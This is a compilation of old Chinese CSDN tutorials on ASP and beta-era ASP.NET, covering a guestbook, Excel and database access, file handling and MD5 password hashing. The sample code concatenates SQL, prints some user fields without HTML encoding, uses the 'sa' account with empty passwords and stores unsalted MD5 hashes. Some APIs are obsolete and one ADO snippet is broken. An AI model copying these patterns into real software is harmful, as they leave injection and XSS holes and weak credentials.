＜/tr＞
＜tr bgcolor="#EFEFEF"＞
＜td width="19%" align="right"＞主 页：＜/td＞
＜td width="81%"＞
＜input type="text" name="homepage" value="http://"＞
＜/td＞
＜/tr＞
＜tr bgcolor="#EFEFEF"＞
＜td width="19%" align="right"＞Email：＜/td＞
＜td width="81%"＞
＜input type="text" name="email"＞
＜/td＞
＜/tr＞
＜tr bgcolor="#EFEFEF"＞
＜td width="19%" align="right" valign="top"＞内 容：＜/td＞
＜td width="81%"＞
＜textarea name="text" cols="60" rows="10"＞＜/textarea＞
＜/td＞
＜/tr＞
＜tr bgcolor="#EFEFEF"＞
＜td width="19%" align="right"＞ ＜/td＞
＜td width="81%"＞
＜input type="submit" name="Submit" value="提交"＞
＜input type="reset" name="Submit2" value="重填"＞
＜/td＞
＜/tr＞
＜/form＞
＜/table＞
＜/body＞
＜/html＞


csdn_用ASP+XML打造留言本(4)

  用ASP+XML打造留言本(4)
作者： 苛子
七、总结

    到这里我们就建立一个简单并有分页功能的XML留言本了，呵看完了简单吧，其实我这里只起一个抛砖引玉的功能，其目的是引导大家建立更复杂更好的ASP＋XML程序，例如：所上面的留言本加上回复功能，管理功能，点击计数据功能等，甚至你可以把它变一个ＢＢＳ等等。最后留言本运行结果如下：

(List.xml在ＩＥ５下面的运行结果)

(留言本index.asp运行结果)

(PostNew.asp运得结果)

最后如果你拷贝我上面的程序的不能运行，可是是拷贝时或者是我注释时出错了（不过首页要检查strSourceFile = Server.MapPath("/") & "\List.xml"这里是否出错了，不过我可以告诉你如果是提示缺少对像那么多是这里出错了），最后你可以到http://Page2000.xiloo.com去下载源程序，也可以给我来信asp_boys@cmmail.com我会尽快给你寄去源程序。如果你有什么问题可以到http://www.4u2v.com/bbs因为我多在那里回答一些我知道的问题。


csdn_在ASP.NET访问Excel文件

  在ASP.NET访问Excel文件
作者： net_lover
在ASP.NET访问Excel文件 (VB and C#)

C# Code
---------------------------------------------
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<script language="C#" runat="server">
protected void Page_Load(Object Src, EventArgs E)
{
string strConn;
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;"
+"Data Source=C:\\exceltest.xls;"
+"Extended Properties=Excel 8.0;";
ADODataSetCommand myCommand = new ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn);
DataSet myDataSet = new DataSet();
myCommand.FillDataSet(myDataSet, "ExcelInfo");
DataGrid1.DataSource = myDataSet.Tables["ExcelInfo"].DefaultView;
DataGrid1.DataBind();
}
</script>
<p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p>
<asp:DataGrid id=DataGrid1 runat="server"/>

VB.NET Code
----------------------------------------------
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<script language="VB" runat="server">
Sub Page_Load(sender As Object, e As EventArgs)
Dim myDataset As New DataSet()
Dim strConn As String = "Provider=Microsoft.Jet.OLEDB.4.0;" _
& "Data Source=C:\exceltest.xls;" _
& "Extended Properties=""Excel 8.0;"""
Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn)
myADODataSetCommand.TableMappings.Add("Table", "ExcelTest")
myADODataSetCommand.FillDataSet(myDataset)
DataGrid1.DataSource = myDataset.Tables(0).DefaultView
DataGrid1.DataBind()
End Sub
</script>
<p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p>
<asp:DataGrid id=DataGrid1 runat="server"/>


csdn_ASP.Net的几大热点问题

  ASP.Net的几大热点问题
作者： 麦田之子
1 ASP.Net是什么？

ASP.Net是建立在微软新一代.Net平台架构上，利用普通语言运行时（Common Language Runtime）在服务器后端为用户提供建立强大的企业级Web应用服务的编程框架。

2．ASP.Net与ASP的联系和主要区别是什么？

ASP.Net与现存的ASP保持语法兼容，实际上我们可将现有的ASP源码文件扩展名“.asp”改为“.aspx”，然后配置在支持ASP.Net运行时的IIS服务器的Web目录下，即可获得ASP.Net运行时的全部优越性能。

ASP.Net与ASP的主要区别在于前者是编译（Compile）执行,而后者是解释（Interpret）执行,前者比后者有更高的效率。实际上我们可以把ASP.Net的执行过程看做是编译后的普通语言运行时代码充当一个和前端浏览器和中间件用户交互的应用程序，它接受用户的请求，输出HTML流到客户端显示。除此之外，ASP.Net还可以利用.Net平台架构的诸多优越性能，如类型安全，对XML，SOAP, WSDL等Internet标准的强健支持。

3．目前ASP.Net的开发语言有那些？

目前ASP.Net的开发语言有三种语言，C#,Visual Basic.Net和JScrip.

4.ASP.Net的主要优点有哪些？

ASP.Net可完全利用.Net架构的强大，安全，高效的平台特性。ASP.Net是运行在服务器后端编译后的普通语言运行时代码，运行时早绑定（Early Binding）,即时编译，本地优化，缓存服务，零安装配置，基于运行时代码受管与验证的安全机制等都为ASP.Net带来卓越的性能。

对XML，SOAP，WSDL等Internet标准的强健支持为ASP.Net在异构网络里提供了强大的扩展性。

5．ASP.Net主要包括哪些内容？

ASP.Net主要包括WebForm和WebService两种编程模型。前者为用户提供建立功能强大，外观丰富的基于表单(Form)的可编程

Web页面。后者通过对HTTP,XML，SOAP，WSDL等Internet标准的支持提供在异构网络环境下获取远程服务，连接远程设备，交互远程应用的编程界面.

6．HTML Server Control和Web Server Control有什么联系和区别？

HTML Server Control是为了和传统ASP保持兼容而开发的一类基于HTML静态页面的控件（如文本框，按钮），它们与这些控件一一对应，它们位于命名空间System.Web.UI.HtmlControls里。

Web Server Control 是专为下一代基于组件开发的.Net平台架构而量身定做的，它不仅包括具有传统HTML静态页面的控件等Web Server Control，它还包括有AdRotator,XML等功能强大的组件，更重要的是它为用户开发Web Server Control组件提供了强大，易用的技术底层支持。这将成为下一阶段ASP.Net开发的热点。它们位于命名空间System.Web.UI.WebControls里。

7．目前支持ASP.Net开发的平台有哪些？ASP.Net现在发展到什么阶段？

目前支持ASP.Net开发的平台只有WindowsXP,Windows 2000,Windows NT4(Service Pack 6a),其中的Web Service除去这些还在Windows 98,Windows ME,Windows SE上获得支持。ASP.Net目前处于最后的Beta2测试状态，它将在2001年下半年随着Visual Studio.Net的推出而发展到成熟的企业版。

目前可下载的Beta2版本地址：

ASP.Net精简版本 http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?url=/MSDN-FILES/027/001/659/msdncompositedoc.xml&frame=true

.Net Framework SDK:

http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?url=/msdn-files/027/000/976/msdncompositedoc.xml&frame=true

Visual Studio.Net Beta版本（注册用户）：

http://msdn.microsoft.com/vstudio/nextgen/beta.asp
8.ASP.Net在网上有哪些资源？

1） www.asp.net

2） www.gotdotnet.net

3） msdn.microsoft.com/net

4） www.dotnetwire.com

5） www.4guysfromrolla.com

6） www.123aspx.com/

7） www.aspfree.com

8） www.aspng.com


csdn_ASP.NET版本简单的留言板的制作(一)

ASP.NET版本简单的留言板的制作(一)

程序开始前的准备工作：
首先要考虑的就是 如何在一个 所有的程序都可以访问到的地方设置sql server 的连接串，因为我
正在全力以赴的准备做一个现在的http://www.asp888.net 的aspx版本的站点，如果只是为这个留言版单独
做一个conn连接串，未免太。。。，在asp+中MS 抄袭了 jsp 的一些概念和做法,在jsp中有config.xml文件
asp+中有config.web 把这个文件放到留言版所在的虚拟目录下，将连接串放在这里，大家请看我的连接串
<configuration>
<appsettings>
<add key="Conn" value="server=localhost;uid=sa;pwd=;Database=doufu"/>
</appsettings>
</configuration>

好了，准备工作都做好以后，准备开始做留言版的录入部分,开始想纯粹使用vs7自代的web forms 功能，
后来发现有一些实际使用的不方便，所以还是用了一些传统的方法和web forms 结合使用，但是这样 vs7
的智能感知 功能就不能用了，好可惜。default.aspx 的内容如下
<%@ Page language="c#"%>
<HTML><HEAD>
<meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
<meta name="CODE_LANGUAGE" Content="C#"></HEAD>
<body>
<a href="http://www.asp888.net">豆腐技术站</a>亲情奉献
<form method="post" action="doLiuyan.aspx" runat="server">

<Table border=1>
<tr>
<td width="20%">您的呢称：</td>
<td><asp:TextBox BackColor="#ccffff" id=txtName Runat=server ></asp:TextBox></td>
</tr>
<tr>
<td width="20%">您的联系Email：</td>
<td width="80%"><asp:TextBox id=txtMail runat="SERVER" BackColor="PowderBlue" Width="154" Height="26" MaxLength="40"></asp:TextBox></td>
</tr>
<tr>
<td width="20%">您的发言主题：</td>
<td width="80%"><asp:TextBox id=txtTitle runat="SERVER" BackColor="PowderBlue"></asp:TextBox></td>
</tr>
<tr>
<td width="20%">您的留言内容</td>
<td width="80%"><asp:TextBox id=txtContent runat="SERVER" BackColor="PowderBlue" Width="244" Height="129" TextMode="MultiLine"></asp:TextBox></td>
</tr>
</Table>
<input type="submit" name="Button1" value="提交留言" id="Button1" style="background-color:Wheat;border-style:Dotted;">

<input type="reset" name="Button2" value="取消留言" id="Button2" style="background-color:Wheat;border-style:Dotted;">

<a id="HyperLink1" title="点击这里察看所有留言" href="showmsg.aspx" style="background-color:AntiqueWhite;border-style:Dotted;">察看所有留言</a></p>
</form>
</body></HTML>
这个页面我用来测试web form 所以搞了一些 没名堂的 东西.


csdn_ASP.NET版本简单的留言板的制作(二)

ASP.NET版本简单的留言板的制作(二)

在留言的录入界面完成后，自然要准备做留言内容的录入了。这个其中一个很关键的地方就是如何将我们在config.web 的内容读取出来，我用了下面的几条语句
Dim Cfg as HashTable
Cfg = Context.GetConfig("appsettings")
Conn = New SQLConnection(cfg("Conn"))
这样就得到了我们在config.web 中设定的 连接串,程序如下
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>
<script runat="server" language="VB">
Sub Page_Load(Src As Object, E As EventArgs)

Dim conn As SQLConnection
Dim Cfg as HashTable
Cfg = Context.GetConfig("appsettings")
Conn = New SQLConnection(cfg("Conn"))
dim strSQL as string
dim strNickName as string
dim strMail as string
dim strTitle as string
dim strContent as string
dim strIPAddr as string
strNickName=replace(request.form("txtName"),"'","''")
strEmail=replace(request.form("txtMail"),"'","''")
strTitle=replace(request.form("txtTitle"),"'","''")
strContent=replace(request.form("txtContent"),"'","''")
strIPAddr=Request.ServerVariables ("REMOTE_ADDR") '用户IP地址
strSQL="insert into msgBoard(nickname,email,ipAddr,msgTime,msgTitle,msgContent)values("
strSQL=strSQL & "'" & strNickName & "','" & strEMail & "','" & strIPAddr & "',getdate(),'" & strTitle & "','" & strContent & "')"
response.write(strSQL)
Dim Cmd As SQLCommand
Cmd = New SQLCommand(strSQL,conn)
Cmd.ActiveConnection.Open()
Cmd.Execute()
Cmd.ActiveConnection.Close()
Response.Redirect("showmsg.aspx")
end sub
</script>
大家其实一看，就知道这段程序其实和asp的程序没有什么区别嘛，对了，跟着MS 的唯一的好处就是 他们在升级的时候总是对他们的以前的系统进行了很好的 兼容,除了因为引用了 ado.net 而使得数据库的操作 改变的比较多以外，其他的代码基本上都没有什么大的改变，糟糕 说道这里 就说错了一句话，不是没有什么大的改动，变化还是很大的，只不过对以前兼容了，我们这样的简单的应用，似乎也不会牵扯到什么复杂的改变的.


csdn_Asp.net版本简单的留言板的制作(三)

Asp.net版本简单的留言板的制作(三)

现在该显示了，其实显示是很简单，只要看过豆腐前面文章的朋友应该都知道该怎么写这个程序，但是我在这里要强调的是 分页 的程序，我也和大家 一样，在开始的时候，想利用web form的数据绑定的功能，但是不幸的是，虽然用datagrid 实现绑定和分页都是很简单的，但是 datagrid显然形式上的Grid显然对 留言版 这样的程序是 不适合的,DBList 到是可以适合留言版的程序形式但是 我查找了很长的时间 都没有找到如何去 实现分页的程序后来在 MSDN 上找到了 PagedDataSource 看看他的 Class Member 我都心惊肉跳，所有的我要的分页的功能他都已经提供了,但是我在调试的过程中，却怎么也 无法通过，估计是和我的 PDC 版本的原因，这个时候，我就想起了 开心(注：网友名称，他曾经建议我直接安装NGWS beta1 和 Vs7 beta1)：）

希望大家如果在 Beta1 上调试成功了以后，一定要告诉豆腐

没有别的办法，我只好就去用我的老办法，用程序去控制，老天，我不想这样，但是我真的没有别的办法了

大家请看程序:
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Web.Security" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Data.SQL" %>
<HTML><HEAD>
<script runat="server" language="VB">
dim sqlRead as SQLDataReader
dim intStart as integer
dim intLen as integer
dim intPageCount as integer
dim intRecCount as integer
Sub Page_Load(Src As Object, E As EventArgs)
Dim conn As SQLConnection
Dim Cfg as HashTable
Dim sqlcmd As SQLCommand

Cfg = Context.GetConfig("appsettings")
Conn = New SQLConnection(cfg("Conn"))

dim strSQL as string
'实在是没有办法，只好这样来获得 记录总数了
'根据NGWS的帮助上看 似乎有个PagedDataSource 好象功能挺强大
'但是 就是 不知道 应该怎么使用 也没有见过 用他的例子
strSQL="select count(*) as ccount from msgBoard"
sqlcmd = New SQLCommand(strSQL,conn)
sqlcmd.ActiveConnection.Open()
sqlcmd.execute(sqlRead)
sqlRead.Read()
intRecCount=cInt(sqlRead("ccount"))
sqlcmd.ActiveConnection.Close()
strSQL="select * from msgBoard order by msgid desc"
sqlcmd = New SQLCommand(strSQL,conn)
sqlcmd.ActiveConnection.Open()
sqlcmd.execute(sqlRead)

if isNumeric(request.querystring("start")) then
intStart=Cint(request.querystring("start")) '本页数据起使位置
else
intStart=0
end if

intLen=10 '每页需要显示的数据数量
'以下计算 当前的 记录的分页页数
if (intRecCount mod intLen)=0 then
intPageCount=intRecCount/intLen
else
intPageCount=(intRecCount-(intRecCount mod intLen))/intLen+1
end if
dim i as integer
'将得到的sqlRead向后移动 start 指定的 位置
for i=0 to intStart-1
sqlRead.read()
next
end sub
sub WritePage(start as integer,file as string)
'进行分页处理
dim strWrite as string
strWrite="<table border=1 width=100%><tr><td>"
response.write(strWrite)

if start=0 then
strWrite="首页"
else
strWrite="<a href='" & file & "?start=0'>首页</a>"
end if
response.write(strWrite)

if start>=1 then
strWrite="<a href='" & file & "?start=" & cStr(start-intLen) & "'>上页</a>"
else
strWrite="上页"
end if
response.write(strWrite)

if start+intLen<intRecCount then
'还没有到最后一页数据
strWrite="<a href='" & file & "?start=" & cStr(start+intLen) & "'>下页</a>"
else
strWrite="下页"
end if
response.write(strWrite)

if start+intLen<intRecCount then
'还没有到最后一页数据
strWrite="<a href='" & file & "?start=" & cStr((intPageCount-1)*intLen) & "'>末页</a>"
else
strWrite="末页"
end if
response.write(strWrite & "</td><td>")

strWrite="当前共有留言" & Cstr(intRecCount) & ",现在是第<font color=red>" & cStr((intStart/intLen)+1) & "/" & cstr(intPageCount) & "</font>页"
response.write(strWrite)
strWrite="</td></tr></table>"
response.write(strWrite)
end sub
</script>
<title>豆腐技术站__aspx分站__查看留言</title>
<link rel="stylesheet" type="text/css" href="/doufu.css">
</HEAD>
<BODY>
<a href="http://www.asp888.net">豆腐技术站</a>亲情奉献<br>
<%
WritePage(intStart,"a.aspx")
dim atEnd as boolean
%>
<% for i=0 to intLen-1%>
<%
atEnd=sqlRead.read()
if not atEnd then exit for
%>
<div align=center>
<table border=1 width=80%>
<tr>
<td width=10%>呢称</td>
<td width=40%><%=sqlRead("nickname")%></td>
<td width=10%>IP地址</td>
<td width=10%><%=sqlRead("IPAddr")%></td>
</tr>
<tr>
<td width=10%>联系方式</td>
<td width=90% colspan=3><%=sqlRead("email")%></td>
</tr>
<tr>
<td width=10%>留言主题</td>
<td width=90% colspan=3><%=sqlRead("msgTitle")%>----<font color=red><%=sqlRead("msgTime")%></font></td>
</tr>
<tr>
<td width=10%>留言内容</td>
<td width=90% colspan=3><%=server.HTMLEncode(sqlRead("msgContent"))%></td>
</tr>
</table>
</div>
<p></p>
<%next%>
</body>
</html>
终于完了：）

结束语：在大家看过 三篇文章后，整个的留言版的程序也就已经全部的讲完了，客观的说，通过这个程序我们还无法完全的领略asp+给我们带来的所有令人兴奋的功能，而且还有很多的功能现在似乎还是在宣传的阶段，但是 毕竟现在才是Beta1 的阶段，相信在正式版本推出的时候，我们可以看到一个全新的面向 Web 编程的 .net 平台


csdn_ASP.NET的几个特点

ASP.NET的几个特点

1、缺省语言
在Asp+中，将使用Visual Basic而不是VBScript为缺省语言。这意味着我们可以摆脱vbscript的语言限制，我们的代码将是编译后运行的（而不是原来的解释执行）。这意味asp+页面具有组件方式的性能。
2、服务器端控件
一个客户端控件
<SELECT id="selOpSys" size="1" >
<OPTION>Windows 95</OPTION>
<OPTION>Windows 98</OPTION>
<OPTION>Windows NT4</OPTION>
<OPTION>Windows 2000</OPTION>
</SELECT>
加上runat=Server就变成服务器端控件

<SELECT id="selOpSys" size="1" runat="server">
<OPTION>Windows 95</OPTION>
<OPTION>Windows 98</OPTION>
<OPTION>Windows NT4</OPTION>
<OPTION>Windows 2000</OPTION>
</SELECT>

服务器端控件能在服务器端脚本中被自由运用传统的asp代码
If Len(Request.Form("selOpSys")) > 0 Then
strOpSys = Request.Form("selOpSys")
strName = Request.Form("txtName")
Response.Write("You selected '" & strOpSys _
& "' for machine '" & strName & "'.")
End If

asp+代码
If Len(selOpSys.value) > 0 Then
Response.Write("You selected '" & selOpSys.value _
& "' for machine '" & txtName.value & "'.")
End If

一个服务器端的form 代码

<FORM runat="server">
Machine Name:
<INPUT type="text" id="txtName" runat="server">
<P/>
Operating System:
<select id="selOpSys" size="1" runat="server">
<OPTION>Windows 95</OPTION>
<OPTION>Windows 98</OPTION>
<OPTION>Windows NT4</OPTION>
<OPTION>Windows 2000</OPTION>
</SELECT>
<P/>
<INPUT type="submit" value="Submit">
</FORM>

运行后将自动被解释成客户端代码

<HTML>
<BODY>
You selected 'Windows 98' for machine 'tizzy'.
<FORM name="ctrl0" method="post" action="pageone.aspx" id="ctrl0">

<INPUT type="hidden" name="__VIEWSTATE" value="a0z1741688109__x">

Machine Name:
<INPUT type="text" id="txtName" name="txtName" value="tizzy">
<P/>
Operating System:
<SELECT id="selOpSys" size="1" name="selOpSys">
<OPTION value="Windows 95">Windows 95</OPTION>
<OPTION selected value="Windows 98">Windows 98</OPTION>
<OPTION value="Windows NT4">Windows NT4</OPTION>
<OPTION value="Windows 2000">Windows 2000</OPTION>
</SELECT>
<P />
<INPUT type="submit" value="Submit">
</FORM>
</BODY>
</HTML>

三、服务器端事件
服务器端控件具有事件，可以像操作客户端事件一样操作服务器端事件，asp+自动翻译服务器端事件到客户端 举例：
onserverclick事件

<HTML>
<BODY>
<SCRIPT language="VB" runat="server">
Sub ShowValues(Sender As Object, Args As EventArgs)
divResult.innerText = "You selected '" _
& selOpSys.value & "' for machine '" _
& txtName.value & "'."
End Sub
</SCRIPT>
<DIV id="divResult" runat="server">
</DIV>
<FORM runat="server">
Machine Name:
<INPUT type="text" id="txtName" runat="server">
<P/>
Operating System:
<select id="selOpSys" size="1" runat="server">
<OPTION>Windows 95</OPTION>
<OPTION>Windows 98</OPTION>
<OPTION>Windows NT4</OPTION>
<OPTION>Windows 2000</OPTION>
</SELECT>
<P/>
<INPUT type="submit" value="Submit" runat="server" onserverclick="ShowValues">
</FORM>
</BODY>
</HTML>


csdn_在ASP.NET中操作文件的例子

在ASP.NET中操作文件的例子

1、写文件
writefile.aspx

<%@ Import Namespace="System.IO" %> '引入所需的NameSpace
<%
Response.write("Writing the content into Text File in ASP.NET <BR>")
Dim strwriterobj As StreamWriter '声明一个StreamWriter对象
strwriterobj= File.CreateText("c:\aspnet.txt") '新建一个文本文件，赋值给StreamWriter对象
strwriterobj.WriteLine( "Welcome to wonderfull world of ASP.NET Programming" )
'向文件中写内容
strwriterobj.Close '关闭对象
Response.write("Done with the creation of text file and writing content into it")
%>

2、读文件
readfile.aspx

<%@ Import Namespace="System.IO" %>
<%
Response.write("Reading the content from the text file ASPNET.TXT <br>")
Dim streamreaderobj As StreamReader '声明一个StreamReader对象
Dim filecont As String '声明一个变量保存读出的内容
streamreaderobj = File.OpenText( "c:\aspnet.txt" ) '打开文件赋值到StreamReader对象
Do '按行循环读取文件内容
filecont = streamreaderobj.ReadLine()
Response.Write( filecont & "<br>" )
Loop Until filecont = ""
streamreaderobj.Close '关闭StreamReader对象
Response.write("<br> Done with reading the content from the file aspnet.txt")
%>

3、删除文件
Filedelete.aspx

<%@ Import Namespace="System.IO" %>
<%
File.Delete("c:\aspnet.txt" ) '删除文件
Response.write("The File aspnet is deleted successfully !!!" )
%>


csdn_ASP.NET中是如何连接数据库的

ASP.NET中是如何连接数据库的

asp.net中是如何连接数据库的(这次讲的是ASP.net使用ADO+的例子，其中包含了ASP+连接MDB的文章)
/*
转自：豆腐技术站
*/
前面我们讲过很多的用asp.net 联结SQL Server 的例子，主要使用了SQLConnection,很多网友就此提出了很多的意见
认为应该多使用ADO+来讲解一些例子，认为这样的通用性更好一些
今天，趁着豆腐网站日独立IP访问突破400的这个时机，给大家奉献一下这个程序。
最近，豆腐的公司很忙，豆腐不得已现在的Asp.Net的环境现在是无法搭建的，这篇文章纯粹是按照文档和帮助写出来的，
所以如果有什么问题的话，大家见谅！但是基本的思想是绝对肯定不会错误的。
首先来看看如何利用ADO+来连接数据库的,为了满足大多数朋友的要求，在这里我们使用Access数据库
我们知道在ASP中联结数据库可以采用有源ODBC DSN的方法，也可以使用无源OLE DB 的方法，我都在这里
写出来，以照顾大多数朋友的想法
1. string strConn="Provider=Microsoft.Jet.OLEDB.4.0 ;Data Source=doufu.mdb" ;
2.或者您可以建立一个关联到doufu.mdb 文件的ODBC DSN:doufu
string strConn="Data Source=doufu";
如果采用ADO+连接SQL Server 或者 Oracle 的方法和VB 中连接 相应数据的连接字符串是一致的

有了连接字符串，我们就可以连接数据库了
ADOConnection Conn = new ADOConnection(strConn);

3.下面我们来执行一个select SQL 查询
string strSQL = "Select id from test" ;
ADOCommand ADOCmd=new ADOCommand(conn,Conn);
Conn.Open();
ADODataReader reader;
ADOCmd.Execute(out reader);
4.得到ADODataReader中包含的数据
首先，我们必须执行 reader.Read();
然后就可以取得数值了reader["id"].ToString();
依次类推
5.前面我们执行了查询语句，下面我们来测试一下insert,update 和 delete
其实，这三条语句是最简单的了，我们只要合成这样的SQL语句以后，就可以执行了，例如 删除语句
strSQL="delete from test where id='1'";
//strSQL="insert into test values('1')";
//strSQL="update test set id='1'";
ADOCommand ADOCmd=new ADOCommand(conn,Conn);
Conn.Open();
ADOCmd.Execute();

呵呵，是不是很简单？？？


csdn_ASP.NET连SQL7接口源代码

ASP.NET连SQL7接口源代码

The following example shows what a simple ADO.NET application that connects to the Northwind database and returns a list of Categories. The example writes the output to the console, or command prompt.

SqlClient
[Visual Basic]
Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports Microsoft.VisualBasic

Public Class Sample

Public Shared Sub Main()
Dim nwindConn As SqlConnection = New SqlConnection("Data Source=localhost;" & _
"User Id=sa;Password=pwd;Initial Catalog=northwind")

Dim catCMD As SqlCommand = nwindConn.CreateCommand()
catCMD.CommandText = "SELECT CategoryID, CategoryName FROM Categories"

nwindConn.Open()

Dim myReader As SqlDataReader = catCMD.ExecuteReader()

Do While myReader.Read()
Console.WriteLine(vbTab & "{0}" & vbTab & "{1}", myReader.GetInt32(0), myReader.GetString(1))
Loop

myReader.Close()
nwindConn.Close()
End Sub
End Class
[C#]
using System;
using System.Data;
using System.Data.SqlClient;

class Sample
{
public static void Main()
{
SqlConnection nwindConn = new SqlConnection("Data Source=localhost;User Id=sa;Password=pwd;Initial Catalog=northwind");

SqlCommand catCMD = nwindConn.CreateCommand();
catCMD.CommandText = "SELECT CategoryID, CategoryName FROM Categories";

nwindConn.Open();

SqlDataReader myReader = catCMD.ExecuteReader();

while (myReader.Read())
{
Console.WriteLine("\t{0}\t{1}", myReader.GetInt32(0), myReader.GetString(1));
}

myReader.Close();
nwindConn.Close();
}
}
OleDb
[Visual Basic]
Imports System
Imports System.Data
Imports System.Data.OleDb
Imports Microsoft.VisualBasic

Public Class Sample

Public Shared Sub Main()
Dim nwindConn As OleDbConnection = New OleDbConnection("Provider=SQLOLEDB;Data Source=localhost;" & _
"User Id=sa;Password=pwd;Initial Catalog=northwind")

Dim catCMD As OleDbCommand = nwindConn.CreateCommand()
catCMD.CommandText = "SELECT CategoryID, CategoryName FROM Categories"

nwindConn.Open()

Dim myReader As OleDbDataReader = catCMD.ExecuteReader()

Do While myReader.Read()
Console.WriteLine(vbTab & "{0}" & vbTab & "{1}", myReader.GetInt32(0), myReader.GetString(1))
Loop

myReader.Close()
nwindConn.Close()
End Sub
End Class
[C#]
using System;
using System.Data;
using System.Data.OleDb;

class Sample
{
public static void Main()
{
OleDbConnection nwindConn = new OleDbConnection("Provider=SQLOLEDB;Data Source=localhost;User Id=sa;Password=pwd;Initial Catalog=northwind");

OleDbCommand catCMD = nwindConn.CreateCommand();
catCMD.CommandText = "SELECT CategoryID, CategoryName FROM Categories";

nwindConn.Open();

OleDbDataReader myReader = catCMD.ExecuteReader();

while (myReader.Read())
{
Console.WriteLine("\t{0}\t{1}", myReader.GetInt32(0), myReader.GetString(1));
}

myReader.Close();
nwindConn.Close();
}
}


csdn_ASP.NET中密码保护，MD5和SHA1算法的使用

ASP.NET中密码保护，MD5和SHA1算法的使用

你的主页或者你管理的网站有各种密码需要保护，把密码直接放在数据库或者文件中存在不少安全隐患，所以密码加密后存储是最常见的做法。在ASP.NET中实现加密非常容易。.NET SDK中提供了CookieAuthentication类，其中的HashPasswordForStoringInConfigFile方法可直接使用MD5和SHA1算法。例子如下：
file: encrypting.aspx
<%@ Page language="c#" Codebehind="encrypting.cs" AutoEventWireup="false" Inherits="encrypting.encrypting" %>
<html><head>
<meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
<meta name="CODE_LANGUAGE" Content="C#"></head>
<body>

<form method="post" runat="server">
<p>&nbsp;</p>
<p>
<asp:TextBox id=TextBox1 runat="server"></asp:TextBox>
<asp:Button id=Button1 runat="server" Text="encrypting"></asp:Button></p>
<p>Encrypting Password(MD5):
<asp:Label id=MD5 runat="server"></asp:Label></p>
</form>

</body></html>

file:encrypting.cs

namespace encrypting
{
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Web.Security;
/// <summary>
/// Summary description for encrypting.
/// </summary>
public class encrypting : System.Web.UI.Page
{
protected System.Web.UI.WebControls.Label MD5;
protected System.Web.UI.WebControls.Button Button1;
protected System.Web.UI.WebControls.TextBox TextBox1;

public encrypting()
{
Page.Init += new System.EventHandler(Page_Init);
}
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//
// Evals true first time browser hits the page
//
}
}
protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
InitializeComponent();
}
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
Button1.Click += new System.EventHandler (this.Button1_Click);
this.Load += new System.EventHandler (this.Page_Load);
}
public void Button1_Click (object sender, System.EventArgs e)
{
MD5.Text = CookieAuthentication.HashPasswordForStoringInConfigFile(TextBox1.Text,"MD5");
//SHA1 use CookieAuthentication.HashPasswordForStoringInConfigFile(TextBox1.Text,"SHA1");
}
}
}
注意：类CookieAuthentication的namespace是System.Web.Security。


csdn_在ASP.NET中使用.NET组件

在ASP.NET中使用.NET组件

很多人在 @Import 和 @Assembly 页面标识的时候感到困惑，本文将为你解开这些疑问，告诉你如何来使用.NET的组件。

和ASP中的类相比较有什么改变？

如果你以前曾经开发过ASP程序，那你应当是非常熟悉下面的一段代码了：

<script runat="server" language="VBScript">
Dim fso
Set fso = Server.CreateObject("Scripting.FileSystemObject")
</script>

上面的代码告诉我们在ASP当中需要使用Server对象的CreateObject方法来建立一个类实例。上面的代码中，首先声明了变量fso，之后我们将变量fso赋于FileSystemObject的对象（FileSystemObject对象可以在Scripting这个库中找到）。如果想要上面的ASP代码得以正常运行，我们必须确定相关的DLL文件已经被安装并且注册到服务器。当VBScript运行库被安装的时候，FileSystemObject对象是会被自动注册的。但是如果你想使用第三方开发的组件或者使用你自己创建的组件，你就需要小心安装并且注册你的组件了。
接下来让我们来看看，假设在ASP.NET中也存在FileSystemObject这个对象的话，我们应当如何来实例化它：

使用VB.NET ：
<script runat="server" language="VB">
Dim fso As Scripting.FileSystemObject = New Scripting.FileSystemObject()
</script>

使用C#:
<script runat="server" language="c#">
Scripting.FileSystemObject fso = new Scripting.FileSystemObject();
</script>

正如你所看到的一样，在ASP.NET中实例化类是同ASP有所不同的。其中重要的不同点有：

在ASP.NET中已经不再可以使用VBScript语言了，而是被功能强大的VB.NET所代替了
在ASP.NET当中，在你声明一个变量的同时，可以指定它的类型并且初始化这个变量
为了引用一个类，需要使用这样的表示方法：名称空间[.子名称空间].类。
在上面的例子当中，我们引用了FileSystemObject这个类，而FileSystemObject这个类可以在名称空间Scripting中找到。需要注意的是，上面的名称空间实际上只是我们假设的一个名称空间，它并不存在于.NET的架构当中，所以上面的代码实际上是无法运行的。换句话来说就是，我们需要自己建立Scripting这个名称空间并且在这个名称空间当中定义FileSystemObject这个类。

什么是名称空间？

在前面的章节当中我们已经使用过“名称空间”这个词。利用名称空间你可以将多个类组成在逻辑上相关的一些单元。通常，你会将一些提供相似功能或者具有相似状态的类聚合在一起。比如名称空间System.IO的一个实例就包含了那些用来处理输入和输出操作（比如：读、写、删除文件）的类。值得注意的是，名称空间当中的类要具有类似的功能或者类似的状态并不是一个必须的要求。你可以按照任何规则自由的组织你自己的名称空间，甚至可以没有任何规则。

引用.NET组件

应当注意到了，我们给出的第一个ASP.NET的例子只是用来教学演示的---它是无法运行的。现在让我们来看一个能够正常运行的实际例子：

